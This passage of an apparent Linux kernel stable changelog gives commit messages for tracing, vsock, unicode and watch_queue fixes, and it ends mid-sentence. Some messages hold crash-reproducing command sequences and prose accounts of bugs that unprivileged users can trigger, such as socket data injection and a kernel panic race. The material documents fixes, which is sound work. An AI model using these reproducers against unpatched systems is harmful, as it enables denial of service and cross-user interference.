    Some systems in the field have perf enabled,
    but their kernel perf support lacks the latest L2 stats.
    Warn, but don't Err on those systems, and suggest how to avoid the Warn.
    
    Fixes: dd23bfe4c317 ("tools/power turbostat: Add L2 cache statistics")
    Reported-by: David Arcari <darcari@redhat.com>
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
tools: gpio: fix building from the top level with O= [+ + +]
Author: Sasha Levin <sashal@kernel.org>
Date:   Sun Oct 11 18:33:33 2026 -0400

    tools: gpio: fix building from the top level with O=
    
    commit 52336337f1a01ad803c7f3ddb23f40222e9ad58d upstream.
    
    "make O=<dir> tools/gpio" fails:
    
      Makefile:27: /tools/build/Makefile.include: No such file or directory
    
    tools/Makefile clears srctree, and the gpio Makefile only works it out
    again when building_out_of_srctree is not set, which the top-level
    Makefile sets for O= builds.
    
    Also work out srctree when it is empty, as tools/bpf/Makefile does
    since commit a89b2cbf71d64 ("tools, bpf: Fix build for 'make -s
    tools/bpf O=<dir>'").
    
    Fixes: 4a6a6f5c4aeed ("tools: gpio: Use !building_out_of_srctree to determine srctree")
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Link: https://patch.msgid.link/20261011223358.2327625-5-sashal@kernel.org
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields [+ + +]
Author: Lee Jones <lee@kernel.org>
Date:   Tue Oct 13 11:24:48 2026 +0000

    tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
    
    commit a244c241593b5b38a08f0df2cb43c26574efbdcb upstream.
    
    In check_synth_field(), when a synthetic event field is a stacktrace
    (field->is_stack) and the histogram field is not a "long[" stacktrace
    array, validation falls through to the generic size and signedness
    comparison.
    
    Because parse_synth_field() sets a stacktrace field's type to
    "__data_loc unsigned long[]", its size is sizeof(u64) and
    synth_field_signed() marks it as signed.  Consequently, any 8-byte
    signed scalar histogram field passes the fallback check, and its scalar
    value is subsequently dereferenced as a kernel stacktrace pointer in
    get_field_size() and trace_stack().
    
    Furthermore, checking strstr(hist_field->type, "long[") is insufficient
    because tracepoint fields defined with __bitmask() or __rel_bitmask()
    also have type "__data_loc unsigned long[]" or "__rel_loc unsigned
    long[]", whilst create_hist_field() treats them as 4-byte scalar values
    without HIST_FIELD_FL_STACKTRACE.
    
    Propagate HIST_FIELD_FL_STACKTRACE to variable references and field
    variables (whilst excluding variable aliases from per-element
    stacktrace capture), and reject any mismatch between
    HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field().
    
    Cc: stable@vger.kernel.org
    Fixes: 00cf3d672a9d ("tracing: Allow synthetic events to pass around stacktraces")
    Link: https://patch.msgid.link/20261013112449.1006088-1-lee@kernel.org
    Signed-off-by: Lee Jones <lee@kernel.org>
    Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
tracing: Check operator stack capacity before pushing [+ + +]
Author: Taeyang Lee <0wn@theori.io>
Date:   Fri Oct 16 02:19:55 2026 +0900

    tracing: Check operator stack capacity before pushing
    
    commit c47a7b11bcb3d45e29723afcf6336866476b1d08 upstream.
    
    predicate_parse() uses the first operator stack entry before processing
    any opening parentheses. A push then increments top before writing.
    The existing check still permits that write when top already points to
    the last allocated entry, which can access beyond the operator stack.
    
    Reject the push when top reaches the last allocated entry.
    
    Cc: stable@vger.kernel.org
    Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
    Link: https://patch.msgid.link/atELO9L0I9kg5CpC@Taeyangs-MacBook-Pro.local
    Signed-off-by: Taeyang Lee <0wn@theori.io>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Do not initialize tracefs work if tracing is disabled [+ + +]
Author: Amit Machhiwal <amachhiw@linux.ibm.com>
Date:   Fri Oct 9 22:05:56 2026 +0530

    tracing: Do not initialize tracefs work if tracing is disabled
    
    commit b3b974008388ab59e44d764ba7a63c988fec2524 upstream.
    
    If trace buffer allocation fails during early boot (e.g.  in
    early_trace_init() -> allocate_trace_buffers()), tracing_disabled is
    left set to 1 and the global trace array events list remains
    uninitialized.
    
    Later during boot, tracer_init_tracefs() (invoked via fs_initcall)
    queues tracerfs_init_work asynchronously without checking if tracing was
    disabled.  When tracer_init_tracefs_work_func() runs, it calls
    event_trace_init() and init_tracer_tracefs(&global_trace, NULL)
    unconditionally.  This leads to __find_event_file() dereferencing an
    uninitialized tr->events list, causing an early boot NULL pointer
    dereference Oops:
    
      BUG: Kernel NULL pointer dereference on read at 0x00000010
      Faulting instruction address: 0xc000000000485be0
      Oops: Kernel access of bad area, sig: 7 [#1]
      ...
      NIP [c000000000485be0] __find_event_file+0x70/0x3c0
      LR  [c000000000448874] init_tracer_tracefs+0x274/0xc80
      Call Trace:
       init_tracer_tracefs+0x274/0xc80
       tracer_init_tracefs_work_func+0x50/0x320
       process_one_work+0x1e8/0x5c0
       worker_thread+0x1dc/0x3d0
       kthread+0x194/0x1b0
       start_kernel_thread+0x14/0x18
    
    Check tracing_disabled at the beginning of tracer_init_tracefs_work_func()
    and return immediately if tracing is disabled or failed to initialize,
    preventing the crash.
    
    Cc: stable@vger.kernel.org
    Fixes: 6621a7004684 ("tracing: make tracer_init_tracefs initcall asynchronous")
    Link: https://patch.msgid.link/20261009163557.88467-2-amachhiw@linux.ibm.com
    Reported-by: Michal Suchánek <msuchanek@suse.de>
    Closes: https://lore.kernel.org/all/arYskzbiaNzBR9MD@kunlun.suse.cz/
    Signed-off-by: Amit Machhiwal <amachhiw@linux.ibm.com>
    Tested-by: Michal Suchánek <msuchanek@suse.de>
    Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Fix crash in print_graph_function_event() [+ + +]
Author: Hao Ge <hao.ge@linux.dev>
Date:   Thu Oct 15 21:06:58 2026 +0800

    tracing: Fix crash in print_graph_function_event()
    
    commit 3cc117514d69067a94d6c7479730dce41e678f50 upstream.
    
    tracing_set_tracer() assigns the flags of the newly selected tracer
    with:
    
            tr->current_trace_flags = t->flags ? : t->tracer->flags;
    
    If the new tracer defines neither static flags nor default flags, like
    hwlat, irqsoff or wakeup, add_tracer() has no per instance flags copy
    for it, and both operands are NULL, so tr->current_trace_flags ends up
    being NULL as well.
    
    The ring buffer is not cleared when switching tracers: it is reset
    inside tracer_init(), after current_trace_flags was already assigned.
    If the buffer still holds function_graph entries of the previous
    tracer, printing one of them dereferences the NULL pointer. This was
    hit by cat trace during an ftrace stress test:
    
      BUG: kernel NULL pointer dereference, address: 0000000000000000
      #PF: supervisor read access in kernel mode
      RIP: 0010:print_graph_function_event+0xe/0x20
      Call Trace:
       s_show+0x4d/0x110
       seq_read_iter+0x2d4/0x490
       seq_read+0x130/0x170
       vfs_read+0xb5/0x370
       ksys_read+0x6d/0xe0
       do_syscall_64+0xbc/0x450
    
    The snapshot buffer is not reset at all, so this can be reproduced
    without a race:
    
      echo function_graph > /sys/kernel/tracing/current_tracer
      echo 1 > /sys/kernel/tracing/snapshot
      echo hwlat > /sys/kernel/tracing/current_tracer
      cat /sys/kernel/tracing/snapshot
    
    Rather than teaching every user of tr->current_trace_flags about this
    corner case, make sure it is never NULL: when the newly selected
    tracer has no flags at all, tracing_set_tracer() falls back to a
    static empty no_tracer_flags. run_tracer_selftest() can hit the same
    case, so the same fallback is added there too. The existing users
    already handle opts == NULL, so these tracers keep behaving as before.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261015130658.221198-1-hao.ge@linux.dev
    Fixes: e29aa918a928 ("tracing: Have function graph tracer define options per instance")
    Suggested-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Hao Ge <hao.ge@linux.dev>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Fix empty symbol names in simple_ring_buffer undef check [+ + +]
Author: Vincent Donnefort <vdonnefort@google.com>
Date:   Wed Sep 23 08:42:11 2026 +0100

    tracing: Fix empty symbol names in simple_ring_buffer undef check
    
    [ Upstream commit c902b6d709845def1d1d3ab818e0b9d9b962ab16 ]
    
    Sparc64 emits empty symmbol names. Skips them when establishing the
    allowlist and when extracing undefined symbols.
    
    Link: https://patch.msgid.link/20260923074213.3077182-2-vdonnefort@google.com
    Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
    Reported-by: Guenter Roeck <linux@roeck-us.net>
    Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
    Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
    Tested-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tracing: Fix hist trigger timestamps for buffered events [+ + +]
Author: Tengda Wu <wutengda@huaweicloud.com>
Date:   Tue Sep 29 10:40:15 2026 +0000

    tracing: Fix hist trigger timestamps for buffered events
    
    commit 9414ca3b99e5a7f1f3bf51c2a01b383e1b355dd0 upstream.
    
    Syzkaller triggered a WARN_ON_ONCE(!nest) warning:
    
      WARNING: kernel/trace/ring_buffer.c:821 at ring_buffer_event_time_stamp
      Call trace:
        ring_buffer_event_time_stamp
        hist_field_timestamp
        hist_fn_call
        event_hist_trigger
        event_triggers_call
        __event_trigger_test_discard
        trace_event_buffer_commit
        do_trace_event_raw_event_sched_switch
        trace_event_raw_event_sched_switch
    
    The warning is probabilistically reproducible and is related to syzkaller
    executing the following commands:
    
      echo 'prev_pid == 999999' > events/sched/sched_switch/filter
      echo 'hist:keys=common_timestamp' > events/sched/sched_switch/trigger
    
    The specific triggering process is as follows:
    
    CPU 0                                           CPU 1
    (context switching)                             (echo 'hist:keys=common_timestamp' > \
                                                            events/sched/sched_switch/trigger)
    do_trace_event_raw_event_##call
      trace_event_buffer_lock_reserve
        if (!tr->no_filter_buffering_ref &&
            trace_file->flags & EVENT_FILE_FL_FILTERED)
            return entry;  // return directly
                                                    event_hist_trigger_parse
                                                      hist_register_trigger
                                                        tracing_set_filter_buffering(file->tr, true);
                                                          tr->no_filter_buffering_ref++;
        __trace_buffer_lock_reserve
          rb_start_commit
            local_inc(&cpu_buffer->committing);  // skipped and not executed
      trace_event_buffer_commit
        __event_trigger_test_discard
          event_triggers_call
            event_hist_trigger
              hist_fn_call
                hist_field_timestamp
                  ring_buffer_event_time_stamp
                    nest = local_read(&cpu_buffer->committing);
                    WARN_ON_ONCE(!nest)  // trigger warning
    
    The root cause is that when an event file has a filter attached and the
    hist trigger has not yet been attached, trace_event_buffer_lock_reserve()
    writes the event into the per-CPU trace_buffered_event temp buffer instead
    of reserving it in the ring buffer, so cpu_buffer->committing is not
    incremented. When the event is later processed at commit time by a hist
    trigger, hist_field_timestamp() -> ring_buffer_event_time_stamp() sees a
    zero committing count, triggering WARN_ON_ONCE(!nest).
    
    tracing_event_time_stamp() was added by commit d8279bfc5e959 ("tracing:
    Add tracing_event_time_stamp() API") for exactly this case: if the event
    is the per-CPU trace_buffered_event, it returns the current ring buffer
    timestamp. But it never gained a caller. Use it in hist_field_timestamp(),
    so that a hist trigger that races onto a buffered event records the
    current time, which is only marginally later than when the event was
    recorded, instead of warning and recording a bogus timestamp.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260929104015.1689921-1-wutengda@huaweicloud.com
    Fixes: b94bc80df648 ("tracing: Use a no_filter_buffering_ref to stop using the filter buffer")
    Signed-off-by: Tengda Wu <wutengda@huaweicloud.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Fix ignored return value of resize_buffer_duplicate_size() [+ + +]
Author: Dmitry Kandybka <d.kandybka@gmail.com>
Date:   Mon Sep 28 18:26:32 2026 +0300

    tracing: Fix ignored return value of resize_buffer_duplicate_size()
    
    commit 3110d09bb98e3ac66482a7b257548a1683ec6c1a upstream.
    
    When tr->allocated_snapshot is true, resize_buffer_duplicate_size() is
    called to update the snapshot buffer size. However, its return value was
    not checked. In case of a failed resize this could lead next snapshot
    being incomplete.
    
    Add resize_buffer_duplicate_size() result check and return error if
    resize fails.
    
    Compile tested only.
    
    Found by Linux Verification Center (linuxtesting.org) with SVACE.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260928152634.4354-1-d.kandybka@gmail.com
    Fixes: 180e4e390978 ("tracing: Add snapshot refcount")
    Signed-off-by: Dmitry Kandybka <d.kandybka@gmail.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Fix simple_ring_buffer undef check on parisc [+ + +]
Author: Vincent Donnefort <vdonnefort@google.com>
Date:   Wed Sep 23 08:42:12 2026 +0100

    tracing: Fix simple_ring_buffer undef check on parisc
    
    [ Upstream commit ba875c4483359ad4c056e00d3da089c7db56bea6 ]
    
    simple_ring_buffer uses local_set() and cmpxchg() on unsigned long. Add
    them to undefsyms_base.c to extend the allowlist for the parisc
    architecture.
    
    Link: https://patch.msgid.link/20260923074213.3077182-3-vdonnefort@google.com
    Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
    Reported-by: Guenter Roeck <linux@roeck-us.net>
    Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
    Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
    Tested-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tracing: Fix simple_ring_buffer undef check on sparc64 [+ + +]
Author: Vincent Donnefort <vdonnefort@google.com>
Date:   Wed Sep 23 08:42:13 2026 +0100

    tracing: Fix simple_ring_buffer undef check on sparc64
    
    [ Upstream commit 0fa993581aaa58a34ae3dcebebe0fbf593fcb441 ]
    
    simple_ring_buffer relies on headers that end up including
    <asm/thread_info.h>. On sparc64, this emits the undefined symbol
    current_thread_info_reg. Allow this symbol.
    
    Link: https://patch.msgid.link/20260923074213.3077182-4-vdonnefort@google.com
    Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
    Reported-by: Guenter Roeck <linux@roeck-us.net>
    Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
    Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
    Tested-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tracing: Fix the shift out of bounds in the log2 histogram modifier [+ + +]
Author: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Date:   Wed Sep 16 09:27:35 2026 +0900

    tracing: Fix the shift out of bounds in the log2 histogram modifier
    
    commit 647c2f97fcb94bc642cefe6db004999974563f06 upstream.
    
    The .log2 key modifier files a value under its base-2 order:
    
      # echo 'hist:keys=bytes_req.log2' > events/kmem/kmalloc/trigger
    
    hist_field_log2() computes that as ilog2(roundup_pow_of_two(val)). The
    out-of-line form of roundup_pow_of_two() is
    
            return 1UL << fls_long(n - 1);
    
    which shifts by 64 on a 64-bit kernel both when n is 0, where n - 1
    wraps to ULONG_MAX, and when n is above 2^63. Both are ordinary keys,
    because the field fetch hands every value over as a u64: a syscall
    argument of 0 reaches the first, and one above 2^63 reaches the second.
    
    Keying sys_enter_lseek on offset.log2 and passing 0, 1, 2, 3, 1000,
    2^63+1 and U64_MAX gives
    
      { offset: ~ 2^1  } hitcount:          1
      { offset: ~ 2^10 } hitcount:          1
      { offset: ~ 2^2  } hitcount:          1
      { offset: ~ 2^0  } hitcount:          4
    
    Keys above 2^63 land in the lowest bucket. With CONFIG_UBSAN_SHIFT=y
    the shift is also reported:
    
      UBSAN: shift-out-of-bounds in include/linux/log2.h:57:13
      shift exponent 64 is too large for 64-bit type 'long unsigned int'
       __ubsan_handle_shift_out_of_bounds.cold+0xdd/0x1cb
       hist_fn_call.cold+0x8b/0xd9
       event_hist_trigger+0x1cc/0x790
       ftrace_syscall_enter+0x197/0x360
       do_syscall_64+0x402/0x4b0
    
    Use order_base_2(), which is ilog2(n - 1) + 1 for n > 1 and 0 below
    that. It returns what the old expression returned on every input the
    old one was defined for. Where it was not, 0 stays in bucket 0, which
    is where x86_64 had been putting it, and the keys above 2^63 move into
    bucket 64.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260916002735.808520-1-donggeunyoo.kernel@gmail.com
    Fixes: 4b94f5b7b4a5 ("tracing: Add hist trigger 'log2' modifier")
    Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
    Assisted-by: Claude:claude-fable-5
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: Keep the predicate limit separate from program capacity [+ + +]
Author: Taeyang Lee <0wn@theori.io>
Date:   Fri Oct 16 02:19:05 2026 +0900

    tracing: Keep the predicate limit separate from program capacity
    
    commit 803aa6fc2dbea25ab9d3ed19eca1c96d0ab17445 upstream.
    
    predicate_parse() adds two to nr_preds to reserve the terminal TRUE
    and FALSE entries. It also uses that increased value as the limit for
    parsed predicates. If the initial count is smaller than the number
    actually parsed, the program can fill the allocation and subsequent
    accesses can go past its end.
    
    Keep nr_preds as the predicate limit and use a separate value for the
    allocation size. This leaves space for both terminal entries and a
    zeroed entry when parsing stops at the limit.
    
    Cc: stable@vger.kernel.org
    Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
    Link: https://patch.msgid.link/atELCd1XjKVhrkFL@Taeyangs-MacBook-Pro.local
    Signed-off-by: Taeyang Lee <0wn@theori.io>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tracing: probes: error if BTF is required but unavailable [+ + +]
Author: Martin Kaiser <martin@kaiser.cx>
Date:   Wed Oct 14 10:37:40 2026 +0200

    tracing: probes: error if BTF is required but unavailable
    
    [ Upstream commit 66c658033d842bb75f81f20aaa4a378fe47be1a1 ]
    
    traceprobe_expand_meta_args expands probe arguments based on BTF info.
    
    Return an error if we have arguments that need expanding but BTF is not
    supported.
    
    The params variable is now unused, it can be removed.
    
    Link: https://lore.kernel.org/all/20261014083838.31020-1-martin@kaiser.cx/
    
    Fixes: d157d7694460 ("tracing/probes: Support BTF field access from $retval")
    Signed-off-by: Martin Kaiser <martin@kaiser.cx>
    Reviewed-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tracing: Take trace_types_lock when dropping the buffer_meta reference [+ + +]
Author: David Carlier <devnexen@gmail.com>
Date:   Mon Sep 14 14:35:04 2026 +0100

    tracing: Take trace_types_lock when dropping the buffer_meta reference
    
    commit 2afe7575fb24b9d0476ae4a3a9862f7997216aa4 upstream.
    
    tracing_buffer_meta_open() drops the trace_array reference with
    __trace_array_put() when ring_buffer_meta_seq_init() fails, without
    holding trace_types_lock. Use trace_array_put() like every other open
    error path.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260914133506.4865-2-devnexen@gmail.com
    Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
    Signed-off-by: David Carlier <devnexen@gmail.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
unicode: free the map after a grace period [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:56 2026 +0200

    unicode: free the map after a grace period
    
    commit a96c5299bd7305eb984377681eb3222a57376405 upstream.
    
    generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and
    dereference the unicode map while a pathwalk in rcu mode holds nothing
    but rcu_read_lock(). The filesystems that use them, ext4, f2fs and
    tmpfs, drop the map with utf8_unload() from ->put_super(), which runs
    when the last reference to the mount goes away. A lookup that is still
    inside such a filesystem at that point reads a freed map.
    
    With a pathwalk held up in utf8_casefold_hash() while the last reference
    to a casefolded tmpfs goes away:
    
      BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950
      Read of size 8 at addr ff110001030fe658 by task walker/98
      Call Trace:
       <TASK>
       utf8nlookup+0x74c/0x950
       utf8byte+0x160/0x1560
       utf8_casefold_hash+0x167/0x230
       generic_ci_d_hash+0xdd/0x1c0
       link_path_walk+0x11ad/0x1d30
       path_lookupat+0x63/0xb00
       filename_lookup+0x1f1/0x5b0
       vfs_statx+0xd7/0x3b0
      [...]
      Allocated by task 94:
       __kmalloc_cache_noprof+0x249/0x560
       utf8_load+0x4e/0x570
       shmem_parse_opt_casefold.isra.0+0x92/0x270
      [...]
      Freed by task 97:
       kfree+0x1db/0x5b0
       shmem_put_super+0x72/0x170
       generic_shutdown_super+0x14c/0x530
       kill_anon_super+0x3a/0x60
       deactivate_locked_super+0x9c/0xf0
       cleanup_mnt+0x9f/0x130
    
    So far that has been hard to hit. umount(2) waits for a grace period
    in namespace_unlock() before it drops the mount, so only a mount whose
    last reference goes away elsewhere, like the close of a file or a chdir
    out of a lazily unmounted directory, can race a walker. So it is
    reachable.
    
    Delay the free until a grace period has passed. The map and the data
    table it holds a reference to then outlive any pathwalk that found the
    superblock before the mount went away. The reference on the data table
    module is dropped from the rcu callback as well. utf8-core is built in
    whenever CONFIG_UNICODE is set, so there is no module exit that would
    have to wait for the callbacks.
    
    Overlayfs points the s_encoding of an overlay at the map of its first
    layer without taking a reference of its own. That stays correct. The
    layer is held by the overlay, so its map is dropped only after the
    overlay is gone.
    
    Fixes: b886ee3e778e ("ext4: Support case-insensitive file name lookups")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-6-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
vsock/virtio: validate packet source for connected sockets [+ + +]
Author: Daehyeon Ko <4ncienth@gmail.com>
Date:   Wed Aug 26 09:39:27 2026 +0900

    vsock/virtio: validate packet source for connected sockets
    
    commit dee44f41f206becb41c492899c1996cfd7f82a1b upstream.
    
    virtio_transport_recv_pkt() looks up sockets first by the full source and
    destination tuple, then by destination only in the bound table. The
    fallback is needed for listening and connecting sockets, but sockets remain
    in the bound table after connect(), so it can also return a non-listening
    socket.
    
    The fallback does not validate the source address. In TCP_SYN_SENT, a
    RESPONSE from an unrelated source can transition the victim socket to
    TCP_ESTABLISHED while its stored remote address remains unchanged.
    Subsequent RW packets from that source are delivered through the same
    destination-only fallback.
    
    This was reproduced with capability-empty processes under different UIDs.
    The attacker discovered the target tuple through unprivileged AF_VSOCK
    sock_diag and caused the victim socket to read 16 attacker-chosen bytes;
    the intended peer-side socket read 0 of those 16 bytes.
    
    Add vsock_check_source() to validate the transport, source port and source
    CID against the peer stored in a non-listening socket. The local transport
    is the CID exception because its packets are generated internally with
    VMADDR_CID_LOCAL as their source, including connections using CID aliases.
    
    Use the helper after lock_sock() in the virtio receive path.
    
    Fixes: 06a8fc78367d ("VSOCK: Introduce virtio_vsock_common.ko")
    Closes: https://lore.kernel.org/netdev/20260813121236.2328599-1-4ncienth@gmail.com/
    Cc: stable@vger.kernel.org
    Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
    Reviewed-by: Bobby Eshleman <bobbyeshleman@meta.com>
    Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
    Link: https://patch.msgid.link/20260826003929.966160-2-4ncienth@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
vsock/vmci: validate packet source for connected sockets [+ + +]
Author: Daehyeon Ko <4ncienth@gmail.com>
Date:   Wed Aug 26 09:39:28 2026 +0900

    vsock/vmci: validate packet source for connected sockets
    
    commit ad9a7da3fa39c2d616ec0dd3cf6e30531d032fe7 upstream.
    
    vmci_transport_recv_stream_cb() looks up sockets first by the full source
    and destination tuple, then by destination only in the bound table. The
    fallback can select a non-listening socket without checking whether the
    packet came from its stored peer.
    
    This was reproduced with two VMCI contexts. A RST from the context not
    stored in a TCP_SYN_SENT socket reset that socket after it was selected by
    the destination-only lookup.
    
    VMCI can process notification packets in bottom-half context when the
    socket is not owned by user context, or defer packets to a workqueue. Use
    vsock_check_source() after taking the socket lock in the bottom-half path,
    and recheck after lock_sock() in the workqueue path. Listening sockets
    continue to accept packets from any source.
    
    Reply with a RST addressed from the received packet before dropping a
    source that fails validation. This preserves the existing reset behavior
    for bound non-listening and concurrently closed sockets without directing
    the reset to a connected socket's stored peer.
    
    Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
    Reported-by: Sashiko <sashiko-bot@kernel.org>
    Closes: https://lore.kernel.org/netdev/20260814121255.6B5001F000E9@smtp.kernel.org/
    Cc: stable@vger.kernel.org
    Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
    Suggested-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
    Reviewed-by: Vishnu Dasa <vishnu.dasa@broadcom.com>
    Link: https://patch.msgid.link/20260826003929.966160-3-4ncienth@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
vsock: treat TCP_CLOSING as once-established [+ + +]
Author: Michal Luczaj <mhal@rbox.co>
Date:   Mon Oct 5 02:26:22 2026 +0200

    vsock: treat TCP_CLOSING as once-established
    
    [ Upstream commit 4f6ac74fa594a918d41255c941256e1d51592d3b ]
    
    Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can
    race with the connect loop. Immediately break and return 0 on
    ESTABLISHED/CLOSING. The return value of connect() should reflect what
    happened up to the point the connection was established or failed. Events
    that occur afterwards must not affect it. E.g. even if OP_RW has already
    set sk_err, connect() should still return 0, not ENOBUFS because of it.
    Adapt the inaccurate comment above signal_pending().
    
    Resetting a socket that is still present in connected_table can lead to
    memory corruption. The reporter noted lost transports for in-flight skbs,
    and I have reproduced crashes caused by re-insertion into connected_table.
    
      list_add double add: new=, prev=, next=.
      kernel BUG at lib/list_debug.c:35!
      Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
      Workqueue: vsock-loopback vsock_loopback_work
      RIP: 0010:__list_add_valid_or_report+0x11f/0x130
      Call Trace:
       vsock_insert_connected.cold+0xe/0x13
       virtio_transport_recv_pkt+0x10e9/0x1460
       vsock_loopback_work+0x305/0x480
       process_one_work+0xe4c/0x1560
       worker_thread+0x4f1/0xd60
       kthread+0x36e/0x470
       ret_from_fork+0x47b/0x6b0
       ret_from_fork_asm+0x1a/0x30
    
    This fix is supplementary to commit 002541ef650b ("vsock: Ignore
    signal/timeout on connect() if already established"). Details under Link.
    
    Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
    Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
    Link: https://lore.kernel.org/netdev/anzT1fREOSyHT99k@v4bel/
    Signed-off-by: Michal Luczaj <mhal@rbox.co>
    Reviewed-by: Stefano Garzarella <sgarzare@redhat.com>
    Link: https://patch.msgid.link/20261005-vsock-connect-reset-closing-v4-1-15d41cfda3ed@rbox.co
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
watch_queue: Fix note pool publication race in watch_queue_set_size() [+ + +]
Author: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
Date:   Fri Oct 9 18:47:15 2026 -0400

    watch_queue: Fix note pool publication race in watch_queue_set_size()
    
    commit 5e531d62f1f8834faf7a4eed0d41105cf6570a8f upstream.
    
    There is a race between watch_queue_set_size() and post_one_notification().
    watch_queue_set_size() publishes wqueue->notes, notes_bitmap, nr_pages and
    nr_notes with plain stores, and post_one_notification() reads them with
    plain loads under a different lock, so nothing orders the four stores
    against the poster's loads: depending on the build, notes can be stored
    last (gcc 14 on x86-64 does this).  Since keyctl_watch_key() lets a watch
    attach to a queue before it is sized, post_one_notification() can already
    be running on another CPU at that moment: it reads nr_notes > 0, passes
    its bounds check, and then reads notes while it is still NULL,
    dereferencing notes[0].
    
    An unprivileged user triggers this reliably by watching one of its own
    keys through a notification pipe and racing ioctl(IOC_WATCH_QUEUE_SET_SIZE)
    on that pipe against keyctl(KEYCTL_SETPERM) on the key from another CPU,
    triggering:
    
      BUG: kernel NULL pointer dereference, address: 0000000000000000
      RIP: 0010:post_one_notification.isra.0+0xa2/0x1e0
      Call Trace:
       __post_watch_notification+0x148/0x180
       keyctl_setperm_key+0x119/0x130
       do_syscall_64+0x108/0x4c0
       entry_SYSCALL_64_after_hwframe+0x77/0x7f
      Kernel panic - not syncing: Fatal exception in interrupt
    
    Fix this by publishing nr_notes last with smp_store_release(), and by
